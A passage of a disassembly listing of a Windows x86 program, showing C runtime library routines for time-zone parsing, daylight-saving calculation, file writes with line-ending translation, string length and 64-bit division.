		jl	short loc_4054A3
		cmp	al, 39h
		jg	short loc_4054A3


loc_4054A0:				; CODE XREF: sub_4052DA+1BCj
		inc	esi
		jmp	short loc_405492
; ---------------------------------------------------------------------------


loc_4054A3:				; CODE XREF: sub_4052DA+1C0j
					; sub_4052DA+1C4j
		cmp	byte ptr [esi],	3Ah
		jnz	short loc_4054F6
		inc	esi
		push	esi
		call	sub_402BE9
		imul	eax, 3Ch
		pop	ecx
		mov	ecx, dword_409430
		add	ecx, eax
		mov	dword_409430, ecx


loc_4054C1:				; CODE XREF: sub_4052DA+1F2j
		mov	al, [esi]
		cmp	al, bl
		jl	short loc_4054CE
		cmp	al, 39h
		jg	short loc_4054CE
		inc	esi
		jmp	short loc_4054C1
; ---------------------------------------------------------------------------


loc_4054CE:				; CODE XREF: sub_4052DA+1EBj
					; sub_4052DA+1EFj
		cmp	byte ptr [esi],	3Ah
		jnz	short loc_4054F6
		inc	esi
		push	esi
		call	sub_402BE9
		pop	ecx
		mov	ecx, dword_409430
		add	ecx, eax
		mov	dword_409430, ecx


loc_4054E9:				; CODE XREF: sub_4052DA+21Aj
		mov	al, [esi]
		cmp	al, bl
		jl	short loc_4054F6
		cmp	al, 39h
		jg	short loc_4054F6
		inc	esi
		jmp	short loc_4054E9
; ---------------------------------------------------------------------------


loc_4054F6:				; CODE XREF: sub_4052DA+1CCj
					; sub_4052DA+1F7j ...
		cmp	edi, ebp
		jz	short loc_405502
		neg	ecx
		mov	dword_409430, ecx


loc_405502:				; CODE XREF: sub_4052DA+21Ej
		movsx	eax, byte ptr [esi]
		cmp	eax, ebp
		mov	dword_409434, eax
		jz	short loc_40552A
		push	3
		push	esi
		push	off_4094C0
		call	sub_406780
		mov	eax, off_4094C0
		add	esp, 0Ch
		and	byte ptr [eax+3], 0
		jmp	short loc_405532
; ---------------------------------------------------------------------------


loc_40552A:				; CODE XREF: sub_4052DA+10Bj
					; sub_4052DA+115j ...
		mov	eax, off_4094C0
		and	byte ptr [eax],	0


loc_405532:				; CODE XREF: sub_4052DA+40j
					; sub_4052DA+124j ...
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
sub_4052DA	endp


; =============== S U B	R O U T	I N E =======================================



sub_405538	proc near		; CODE XREF: sub_403BB5+A5p

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		cmp	dword_409434, edi
		jnz	short loc_40554C


loc_405545:				; CODE XREF: sub_405538+148j
					; sub_405538+150j ...
		xor	eax, eax
		jmp	loc_405698
; ---------------------------------------------------------------------------


loc_40554C:				; CODE XREF: sub_405538+Bj
		mov	esi, [esp+0Ch+arg_0]
		push	1
		pop	ebx
		mov	eax, [esi+14h]
		cmp	eax, dword_4094C8
		jnz	short loc_40556A
		cmp	eax, dword_4094D8
		jz	loc_40566C


loc_40556A:				; CODE XREF: sub_405538+24j
		cmp	dword_409C00, edi
		jz	loc_405642
		movzx	ecx, word_409CAE
		push	ecx
		cmp	word_409CA0, di
		movzx	ecx, word_409CAC
		push	ecx
		movzx	ecx, word_409CAA
		push	ecx
		movzx	ecx, word_409CA8
		push	ecx
		jnz	short loc_4055BC
		movzx	ecx, word_409CA4
		push	edi
		push	ecx
		movzx	ecx, word_409CA6
		push	ecx
		movzx	ecx, word_409CA2
		push	ecx
		push	eax
		push	ebx
		jmp	short loc_4055D0
; ---------------------------------------------------------------------------


loc_4055BC:				; CODE XREF: sub_405538+65j
		movzx	ecx, word_409CA6
		push	ecx
		push	edi
		movzx	ecx, word_409CA2
		push	edi
		push	ecx
		push	eax
		push	edi


loc_4055D0:				; CODE XREF: sub_405538+82j
		push	ebx
		call	sub_4056E4
		movzx	eax, word_409C5A
		add	esp, 2Ch
		cmp	word_409C4C, di
		push	eax
		movzx	eax, word_409C58
		push	eax
		movzx	eax, word_409C56
		push	eax
		movzx	eax, word_409C54
		push	eax
		jnz	short loc_40562A
		movzx	eax, word_409C50
		push	edi
		push	eax
		movzx	eax, word_409C52
		push	eax
		movzx	eax, word_409C4E
		push	eax
		push	dword ptr [esi+14h]
		push	ebx


loc_40561F:				; CODE XREF: sub_405538+108j
		push	edi
		call	sub_4056E4
		add	esp, 2Ch
		jmp	short loc_40566C
; ---------------------------------------------------------------------------


loc_40562A:				; CODE XREF: sub_405538+C8j
		movzx	eax, word_409C52
		push	eax
		push	edi
		movzx	eax, word_409C4E
		push	edi
		push	eax
		push	dword ptr [esi+14h]
		push	edi
		jmp	short loc_40561F
; ---------------------------------------------------------------------------


loc_405642:				; CODE XREF: sub_405538+38j
		push	edi
		push	edi
		push	edi
		push	2
		push	edi
		push	edi
		push	ebx
		push	4
		push	eax
		push	ebx
		push	ebx
		call	sub_4056E4
		push	edi
		push	edi
		push	edi
		push	2
		push	edi
		push	edi
		push	5
		push	0Ah
		push	dword ptr [esi+14h]
		push	ebx
		push	edi
		call	sub_4056E4
		add	esp, 58h


loc_40566C:				; CODE XREF: sub_405538+2Cj
					; sub_405538+F0j
		mov	edx, dword_4094CC
		mov	eax, dword_4094DC
		mov	ecx, [esi+1Ch]
		cmp	edx, eax
		jge	short loc_40569C
		cmp	ecx, edx
		jl	loc_405545
		cmp	ecx, eax
		jg	loc_405545
		cmp	ecx, edx
		jle	short loc_4056B0
		cmp	ecx, eax
		jge	short loc_4056B0


loc_405696:				; CODE XREF: sub_405538+166j
					; sub_405538+16Aj
		mov	eax, ebx


loc_405698:				; CODE XREF: sub_405538+Fj
					; sub_405538+19Dj
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_40569C:				; CODE XREF: sub_405538+144j
		cmp	ecx, eax
		jl	short loc_405696
		cmp	ecx, edx
		jg	short loc_405696
		cmp	ecx, eax
		jle	short loc_4056B0
		cmp	ecx, edx
		jl	loc_405545


loc_4056B0:				; CODE XREF: sub_405538+158j
					; sub_405538+15Cj ...
		mov	eax, [esi+8]
		imul	eax, 3Ch
		add	eax, [esi+4]
		imul	eax, 3Ch
		add	eax, [esi]
		imul	eax, 3E8h
		cmp	ecx, edx
		jnz	short loc_4056D7
		xor	ecx, ecx
		cmp	eax, dword_4094D0
		setnl	cl


loc_4056D3:				; CODE XREF: sub_405538+1AAj
		mov	eax, ecx
		jmp	short loc_405698
; ---------------------------------------------------------------------------


loc_4056D7:				; CODE XREF: sub_405538+18Ej
		xor	ecx, ecx
		cmp	eax, dword_4094E0
		setl	cl
		jmp	short loc_4056D3
sub_405538	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4056E4	proc near		; CODE XREF: sub_405538+99p
					; sub_405538+E8p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch
arg_28		= dword	ptr  30h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_4], 1
		push	ebx
		mov	ebx, [ebp+arg_8]
		push	esi
		jnz	loc_40577F
		mov	eax, [ebp+arg_C]
		mov	[ebp+arg_8], ebx
		and	[ebp+arg_8], 3
		mov	esi, eax
		jnz	short loc_40570F
		shl	esi, 2
		mov	eax, dword_4094E0[esi]
		jmp	short loc_405718
; ---------------------------------------------------------------------------


loc_40570F:				; CODE XREF: sub_4056E4+1Ej
		shl	esi, 2
		mov	eax, dword_409514[esi]


loc_405718:				; CODE XREF: sub_4056E4+29j
		mov	edx, ebx
		lea	ecx, [eax+1]
		imul	edx, 16Dh
		lea	eax, [ebx-1]
		push	edi
		sar	eax, 2
		mov	edi, ecx
		push	7
		add	edi, eax
		lea	eax, [edx+edi-63DBh]
		pop	edi
		cdq
		idiv	edi
		mov	eax, [ebp+arg_10]
		pop	edi
		cmp	edx, [ebp+arg_14]
		jge	short loc_405752
		imul	eax, 7
		sub	eax, edx
		add	eax, [ebp+arg_14]
		lea	ecx, [ecx+eax-7]
		jmp	short loc_40575C
; ---------------------------------------------------------------------------


loc_405752:				; CODE XREF: sub_4056E4+5Ej
		imul	eax, 7
		sub	eax, edx
		add	eax, [ebp+arg_14]
		add	ecx, eax


loc_40575C:				; CODE XREF: sub_4056E4+6Cj
		cmp	[ebp+arg_10], 5
		jnz	short loc_40579A
		cmp	[ebp+arg_8], 0
		jnz	short loc_405770
		mov	esi, dword_4094E4[esi]
		jmp	short loc_405776
; ---------------------------------------------------------------------------


loc_405770:				; CODE XREF: sub_4056E4+82j
		mov	esi, dword_409518[esi]


loc_405776:				; CODE XREF: sub_4056E4+8Aj
		cmp	ecx, esi
		jle	short loc_40579A
		sub	ecx, 7
		jmp	short loc_40579A
; ---------------------------------------------------------------------------


loc_40577F:				; CODE XREF: sub_4056E4+Cj
		mov	eax, [ebp+arg_C]
		test	bl, 3
		jnz	short loc_405790
		mov	ecx, dword_4094E0[eax*4]
		jmp	short loc_405797
; ---------------------------------------------------------------------------


loc_405790:				; CODE XREF: sub_4056E4+A1j
		mov	ecx, dword_409514[eax*4]


loc_405797:				; CODE XREF: sub_4056E4+AAj
		add	ecx, [ebp+arg_18]


loc_40579A:				; CODE XREF: sub_4056E4+7Cj
					; sub_4056E4+94j ...
		cmp	[ebp+arg_0], 1
		jnz	short loc_4057CB
		mov	eax, [ebp+arg_1C]
		mov	dword_4094CC, ecx
		imul	eax, 3Ch
		add	eax, [ebp+arg_20]
		mov	dword_4094C8, ebx
		imul	eax, 3Ch
		add	eax, [ebp+arg_24]
		imul	eax, 3E8h
		add	eax, [ebp+arg_28]
		mov	dword_4094D0, eax
		jmp	short loc_405820
; ---------------------------------------------------------------------------


loc_4057CB:				; CODE XREF: sub_4056E4+BAj
		mov	eax, [ebp+arg_1C]
		mov	dword_4094DC, ecx
		imul	eax, 3Ch
		add	eax, [ebp+arg_20]
		imul	eax, 3Ch
		add	eax, dword_409438
		add	eax, [ebp+arg_24]
		imul	eax, 3E8h
		add	eax, [ebp+arg_28]
		mov	dword_4094E0, eax
		jns	short loc_405803
		add	eax, 5265C00h
		dec	ecx
		mov	dword_4094E0, eax
		jmp	short loc_405814
; ---------------------------------------------------------------------------


loc_405803:				; CODE XREF: sub_4056E4+110j
		mov	edx, 5265C00h
		cmp	eax, edx
		jl	short loc_40581A
		sub	eax, edx
		inc	ecx
		mov	dword_4094E0, eax


loc_405814:				; CODE XREF: sub_4056E4+11Dj
		mov	dword_4094DC, ecx


loc_40581A:				; CODE XREF: sub_4056E4+126j
		mov	dword_4094D8, ebx


loc_405820:				; CODE XREF: sub_4056E4+E5j
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_4056E4	endp


; =============== S U B	R O U T	I N E =======================================



sub_405824	proc near		; CODE XREF: sub_403C77+CDp
					; sub_4058BE+59p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		push	ebx
		cmp	eax, dword_518660
		push	esi
		push	edi
		jnb	short loc_4058A6
		mov	ecx, eax
		mov	esi, eax
		sar	ecx, 5
		and	esi, 1Fh
		lea	edi, ds:518560h[ecx*4]
		shl	esi, 3
		mov	ecx, [edi]
		test	byte ptr [ecx+esi+4], 1
		jz	short loc_4058A6
		push	eax
		call	sub_406A62
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_405868
		mov	dword_409A70, 9
		jmp	short loc_4058B7
; ---------------------------------------------------------------------------


loc_405868:				; CODE XREF: sub_405824+36j
		push	[esp+0Ch+arg_8]
		push	0
		push	[esp+14h+arg_4]
		push	eax
		call	dword_408040
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_405888
		call	dword_408044
		jmp	short loc_40588A
; ---------------------------------------------------------------------------


loc_405888:				; CODE XREF: sub_405824+5Aj
		xor	eax, eax


loc_40588A:				; CODE XREF: sub_405824+62j
		test	eax, eax
		jz	short loc_405897
		push	eax
		call	sub_406981
		pop	ecx
		jmp	short loc_4058B7
; ---------------------------------------------------------------------------


loc_405897:				; CODE XREF: sub_405824+68j
		mov	eax, [edi]
		and	byte ptr [eax+esi+4], 0FDh
		lea	eax, [eax+esi+4]
		mov	eax, ebx
		jmp	short loc_4058BA
; ---------------------------------------------------------------------------


loc_4058A6:				; CODE XREF: sub_405824+Dj
					; sub_405824+2Aj
		and	dword_409A74, 0
		mov	dword_409A70, 9


loc_4058B7:				; CODE XREF: sub_405824+42j
					; sub_405824+71j
		or	eax, 0FFFFFFFFh


loc_4058BA:				; CODE XREF: sub_405824+80j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_405824	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4058BE	proc near		; CODE XREF: sub_403C77+95p
					; sub_403C77+E8p ...

var_414		= byte ptr -414h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 414h
		mov	ecx, [ebp+arg_0]
		push	ebx
		cmp	ecx, dword_518660
		push	esi
		push	edi
		jnb	loc_405A52
		mov	eax, ecx
		mov	esi, ecx
		sar	eax, 5
		and	esi, 1Fh
		lea	ebx, ds:518560h[eax*4]
		shl	esi, 3
		mov	eax, [ebx]
		mov	al, [eax+esi+4]
		test	al, 1
		jz	loc_405A52
		xor	edi, edi
		cmp	[ebp+arg_8], edi
		mov	[ebp+var_8], edi
		mov	[ebp+var_10], edi
		jnz	short loc_40590F


loc_405908:				; CODE XREF: sub_4058BE+177j
		xor	eax, eax
		jmp	loc_405A66
; ---------------------------------------------------------------------------


loc_40590F:				; CODE XREF: sub_4058BE+48j
		test	al, 20h
		jz	short loc_40591F
		push	2
		push	edi
		push	ecx
		call	sub_405824
		add	esp, 0Ch


loc_40591F:				; CODE XREF: sub_4058BE+53j
		mov	eax, [ebx]
		add	eax, esi
		test	byte ptr [eax+4], 80h
		jz	loc_4059EE
		mov	eax, [ebp+arg_4]
		cmp	[ebp+arg_8], edi
		mov	[ebp+var_4], eax
		mov	[ebp+arg_0], edi
		jbe	loc_405A26


loc_40593F:				; CODE XREF: sub_4058BE+F5j
		lea	eax, [ebp+var_414]


loc_405945:				; CODE XREF: sub_4058BE+B9j
		mov	ecx, [ebp+var_4]
		sub	ecx, [ebp+arg_4]
		cmp	ecx, [ebp+arg_8]
		jnb	short loc_405979
		mov	ecx, [ebp+var_4]
		inc	[ebp+var_4]
		mov	cl, [ecx]
		cmp	cl, 0Ah
		jnz	short loc_405964
		inc	[ebp+var_10]
		mov	byte ptr [eax],	0Dh
		inc	eax


loc_405964:				; CODE XREF: sub_4058BE+9Dj
		mov	[eax], cl
		inc	eax
		mov	ecx, eax
		lea	edx, [ebp+var_414]
		sub	ecx, edx
		cmp	ecx, 400h
		jl	short loc_405945


loc_405979:				; CODE XREF: sub_4058BE+90j
		mov	edi, eax
		lea	eax, [ebp+var_414]
		sub	edi, eax
		lea	eax, [ebp+var_C]
		push	0
		push	eax
		lea	eax, [ebp+var_414]
		push	edi
		push	eax
		mov	eax, [ebx]
		push	dword ptr [eax+esi]
		call	dword_408048
		test	eax, eax
		jz	short loc_4059E3
		mov	eax, [ebp+var_C]
		add	[ebp+var_8], eax
		cmp	eax, edi
		jl	short loc_4059B5
		mov	eax, [ebp+var_4]
		sub	eax, [ebp+arg_4]
		cmp	eax, [ebp+arg_8]
		jb	short loc_40593F


loc_4059B5:				; CODE XREF: sub_4058BE+EAj
					; sub_4058BE+12Ej
		xor	edi, edi


loc_4059B7:				; CODE XREF: sub_4058BE+150j
					; sub_4058BE+15Bj
		mov	eax, [ebp+var_8]
		cmp	eax, edi
		jnz	loc_405A4D
		cmp	[ebp+arg_0], edi
		jz	short loc_405A26
		push	5
		pop	eax
		cmp	[ebp+arg_0], eax
		jnz	short loc_405A1B
		mov	dword_409A70, 9
		mov	dword_409A74, eax
		jmp	loc_405A63
; ---------------------------------------------------------------------------


loc_4059E3:				; CODE XREF: sub_4058BE+E0j
		call	dword_408044
		mov	[ebp+arg_0], eax
		jmp	short loc_4059B5
; ---------------------------------------------------------------------------


loc_4059EE:				; CODE XREF: sub_4058BE+69j
		lea	ecx, [ebp+var_C]
		push	edi
		push	ecx
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	dword ptr [eax]
		call	dword_408048
		test	eax, eax
		jz	short loc_405A10
		mov	eax, [ebp+var_C]
		mov	[ebp+arg_0], edi
		mov	[ebp+var_8], eax
		jmp	short loc_4059B7
; ---------------------------------------------------------------------------


loc_405A10:				; CODE XREF: sub_4058BE+145j
		call	dword_408044
		mov	[ebp+arg_0], eax
		jmp	short loc_4059B7
; ---------------------------------------------------------------------------


loc_405A1B:				; CODE XREF: sub_4058BE+10Fj
		push	[ebp+arg_0]
		call	sub_406981
		pop	ecx
		jmp	short loc_405A63
; ---------------------------------------------------------------------------


loc_405A26:				; CODE XREF: sub_4058BE+7Bj
					; sub_4058BE+107j
		mov	eax, [ebx]
		test	byte ptr [eax+esi+4], 40h
		jz	short loc_405A3B
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax],	1Ah
		jz	loc_405908


loc_405A3B:				; CODE XREF: sub_4058BE+16Fj
		mov	dword_409A70, 1Ch
		mov	dword_409A74, edi
		jmp	short loc_405A63
; ---------------------------------------------------------------------------


loc_405A4D:				; CODE XREF: sub_4058BE+FEj
		sub	eax, [ebp+var_10]
		jmp	short loc_405A66
; ---------------------------------------------------------------------------


loc_405A52:				; CODE XREF: sub_4058BE+15j
					; sub_4058BE+37j
		and	dword_409A74, 0
		mov	dword_409A70, 9


loc_405A63:				; CODE XREF: sub_4058BE+120j
					; sub_4058BE+166j ...
		or	eax, 0FFFFFFFFh


loc_405A66:				; CODE XREF: sub_4058BE+4Cj
					; sub_4058BE+192j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4058BE	endp


; =============== S U B	R O U T	I N E =======================================



sub_405A6B	proc near		; CODE XREF: sub_403C77+6Cp

arg_0		= dword	ptr  4

		inc	dword_409CBC
		push	1000h
		call	sub_4028C6
		pop	ecx
		mov	ecx, [esp+arg_0]
		test	eax, eax
		mov	[ecx+8], eax
		jz	short loc_405A94
		or	dword ptr [ecx+0Ch], 8
		mov	dword ptr [ecx+18h], 1000h
		jmp	short loc_405AA5
; ---------------------------------------------------------------------------


loc_405A94:				; CODE XREF: sub_405A6B+1Aj
		or	dword ptr [ecx+0Ch], 4
		lea	eax, [ecx+14h]
		mov	[ecx+8], eax
		mov	dword ptr [ecx+18h], 2


loc_405AA5:				; CODE XREF: sub_405A6B+27j
		mov	eax, [ecx+8]
		and	dword ptr [ecx+4], 0
		mov	[ecx], eax
		retn
sub_405A6B	endp


; =============== S U B	R O U T	I N E =======================================



sub_405AAF	proc near		; CODE XREF: sub_403C77+61p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, dword_518660
		jb	short loc_405ABE
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_405ABE:				; CODE XREF: sub_405AAF+Aj
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		mov	ecx, dword_518560[ecx*4]
		mov	al, [ecx+eax*8+4]
		and	eax, 40h
		retn
sub_405AAF	endp


; =============== S U B	R O U T	I N E =======================================



sub_405AD5	proc near		; DATA XREF: .packed:0040900Co
		mov	eax, dword_518540
		push	esi
		push	14h
		test	eax, eax
		pop	esi
		jnz	short loc_405AE9
		mov	eax, 200h
		jmp	short loc_405AEF
; ---------------------------------------------------------------------------


loc_405AE9:				; CODE XREF: sub_405AD5+Bj
		cmp	eax, esi
		jge	short loc_405AF4
		mov	eax, esi


loc_405AEF:				; CODE XREF: sub_405AD5+12j
		mov	dword_518540, eax


loc_405AF4:				; CODE XREF: sub_405AD5+16j
		push	4
		push	eax
		call	sub_406A9F
		pop	ecx
		mov	dword_517528, eax
		test	eax, eax
		pop	ecx
		jnz	short loc_405B28
		push	4
		push	esi
		mov	dword_518540, esi
		call	sub_406A9F
		pop	ecx
		mov	dword_517528, eax
		test	eax, eax
		pop	ecx
		jnz	short loc_405B28
		push	1Ah
		call	sub_402FD6
		pop	ecx


loc_405B28:				; CODE XREF: sub_405AD5+30j
					; sub_405AD5+49j
		xor	ecx, ecx
		mov	eax, offset off_409550


loc_405B2F:				; CODE XREF: sub_405AD5+6Ej
		mov	edx, dword_517528
		mov	[ecx+edx], eax
		add	eax, 20h
		add	ecx, 4
		cmp	eax, offset off_4097D0
		jl	short loc_405B2F
		xor	edx, edx
		mov	ecx, offset dword_409560


loc_405B4C:				; CODE XREF: sub_405AD5+A1j
		mov	eax, edx
		mov	esi, edx
		sar	eax, 5
		and	esi, 1Fh
		mov	eax, dword_518560[eax*4]
		mov	eax, [eax+esi*8]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_405B69
		test	eax, eax
		jnz	short loc_405B6C


loc_405B69:				; CODE XREF: sub_405AD5+8Ej
		or	dword ptr [ecx], 0FFFFFFFFh


loc_405B6C:				; CODE XREF: sub_405AD5+92j
		add	ecx, 20h
		inc	edx
		cmp	ecx, offset dword_4095C0
		jl	short loc_405B4C
		pop	esi
		retn
sub_405AD5	endp


; =============== S U B	R O U T	I N E =======================================



sub_405B7A	proc near		; DATA XREF: .packed:0040901Co

; FUNCTION CHUNK AT 00406B1C SIZE 00000058 BYTES

		call	sub_406C0B
		cmp	byte_409AB0, 0
		jz	short locret_405B8D
		jmp	loc_406B1C
; ---------------------------------------------------------------------------

locret_405B8D:				; CODE XREF: sub_405B7A+Cj
		retn
sub_405B7A	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_405B90	proc near		; CODE XREF: sub_403D8C:loc_40418Cp
					; sub_404820+26p ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		test	ecx, 3
		jz	short loc_405BB0


loc_405B9C:				; CODE XREF: sub_405B90+19j
		mov	al, [ecx]
		inc	ecx
		test	al, al
		jz	short loc_405BE3
		test	ecx, 3
		jnz	short loc_405B9C
		add	eax, 0


loc_405BB0:				; CODE XREF: sub_405B90+Aj
					; sub_405B90+36j ...
		mov	eax, [ecx]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_405BB0
		mov	eax, [ecx-4]
		test	al, al
		jz	short loc_405C01
		test	ah, ah
		jz	short loc_405BF7
		test	eax, 0FF0000h
		jz	short loc_405BED
		test	eax, 0FF000000h
		jz	short loc_405BE3
		jmp	short loc_405BB0
; ---------------------------------------------------------------------------


loc_405BE3:				; CODE XREF: sub_405B90+11j
					; sub_405B90+4Fj
		lea	eax, [ecx-1]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_405BED:				; CODE XREF: sub_405B90+48j
		lea	eax, [ecx-2]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_405BF7:				; CODE XREF: sub_405B90+41j
		lea	eax, [ecx-3]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_405C01:				; CODE XREF: sub_405B90+3Dj
		lea	eax, [ecx-4]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
sub_405B90	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405C0B	proc near		; CODE XREF: sub_403D8C+2D4p
					; sub_403D8C+6B3p

arg_0		= dword	ptr  8
arg_4		= word ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		test	eax, eax
		jnz	short loc_405C17
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_405C17:				; CODE XREF: sub_405C0B+8j
		cmp	dword_409CDC, 0
		jnz	short loc_405C32
		mov	cx, [ebp+arg_4]
		cmp	cx, 0FFh
		ja	short loc_405C64
		push	1
		mov	[eax], cl
		pop	eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_405C32:				; CODE XREF: sub_405C0B+13j
		lea	ecx, [ebp+arg_0]
		and	[ebp+arg_0], 0
		push	ecx
		push	0
		push	dword_409304
		push	eax
		lea	eax, [ebp+arg_4]
		push	1
		push	eax
		push	220h
		push	dword_409CEC
		call	dword_4080C0
		test	eax, eax
		jz	short loc_405C64
		cmp	[ebp+arg_0], 0
		jz	short loc_405C71


loc_405C64:				; CODE XREF: sub_405C0B+1Ej
					; sub_405C0B+51j
		mov	dword_409A70, 2Ah
		or	eax, 0FFFFFFFFh


loc_405C71:				; CODE XREF: sub_405C0B+57j
		pop	ebp
		retn
sub_405C0B	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_405C80	proc near		; CODE XREF: sub_403D8C+5C4p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		push	esi
		mov	eax, [esp+8+arg_C]
		or	eax, eax
		jnz	short loc_405CA2
		mov	ecx, [esp+8+arg_8]
		mov	eax, [esp+8+arg_4]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+8+arg_0]
		div	ecx
		mov	edx, ebx
		jmp	short loc_405CE3
; ---------------------------------------------------------------------------


loc_405CA2:				; CODE XREF: sub_405C80+8j
		mov	ecx, eax
		mov	ebx, [esp+8+arg_8]
		mov	edx, [esp+8+arg_4]
		mov	eax, [esp+8+arg_0]


loc_405CB0:				; CODE XREF: sub_405C80+3Aj
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_405CB0
		div	ebx
		mov	esi, eax
		mul	[esp+8+arg_C]
		mov	ecx, eax
		mov	eax, [esp+8+arg_8]
		mul	esi
		add	edx, ecx
		jb	short loc_405CDE
		cmp	edx, [esp+8+arg_4]
		ja	short loc_405CDE
		jb	short loc_405CDF
		cmp	eax, [esp+8+arg_0]
		jbe	short loc_405CDF


loc_405CDE:				; CODE XREF: sub_405C80+4Ej
					; sub_405C80+54j
		dec	esi


loc_405CDF:				; CODE XREF: sub_405C80+56j
					; sub_405C80+5Cj
		xor	edx, edx
		mov	eax, esi


loc_405CE3:				; CODE XREF: sub_405C80+20j
		pop	esi
		pop	ebx
		retn	10h
sub_405C80	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_405CF0	proc near		; CODE XREF: sub_403D8C+5B2p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		mov	eax, [esp+4+arg_C]
		or	eax, eax
		jnz	short loc_405D11
		mov	ecx, [esp+4+arg_8]
		mov	eax, [esp+4+arg_4]
		xor	edx, edx
		div	ecx
		mov	eax, [esp+4+arg_0]
		div	ecx
		mov	eax, edx
		xor	edx, edx
		jmp	short loc_405D61
; ---------------------------------------------------------------------------


loc_405D11:				; CODE XREF: sub_405CF0+7j
		mov	ecx, eax
		mov	ebx, [esp+4+arg_8]
		mov	edx, [esp+4+arg_4]
		mov	eax, [esp+4+arg_0]


loc_405D1F:				; CODE XREF: sub_405CF0+39j
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_405D1F
		div	ebx
		mov	ecx, eax
		mul	[esp+4+arg_C]
		xchg	eax, ecx
		mul	[esp+4+arg_8]
		add	edx, ecx
		jb	short loc_405D4A
		cmp	edx, [esp+4+arg_4]
		ja	short loc_405D4A
		jb	short loc_405D52
		cmp	eax, [esp+4+arg_0]
		jbe	short loc_405D52


loc_405D4A:				; CODE XREF: sub_405CF0+4Aj
					; sub_405CF0+50j
		sub	eax, [esp+4+arg_8]
		sbb	edx, [esp+4+arg_C]


loc_405D52:				; CODE XREF: sub_405CF0+52j
					; sub_405CF0+58j
		sub	eax, [esp+4+arg_0]
		sbb	edx, [esp+4+arg_4]
		neg	edx
		neg	eax
		sbb	edx, 0


loc_405D61:				; CODE XREF: sub_405CF0+1Fj
		pop	ebx
		retn	10h
sub_405CF0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405D65	proc near		; CODE XREF: sub_404596+5Ep
					; sub_40612F+9Ap

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4084F8
		push	offset sub_402E08
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, dword_409CC0
		xor	ebx, ebx
		cmp	eax, ebx
		jnz	short loc_405DD4
		lea	eax, [ebp+var_1C]
		push	eax
		push	1
		pop	esi
		push	esi
		push	offset dword_4084F0
		push	esi
		call	dword_408064
		test	eax, eax
		jz	short loc_405DB2
		mov	eax, esi
		jmp	short loc_405DCF
; ---------------------------------------------------------------------------


loc_405DB2:				; CODE XREF: sub_405D65+47j
		lea	eax, [ebp+var_1C]
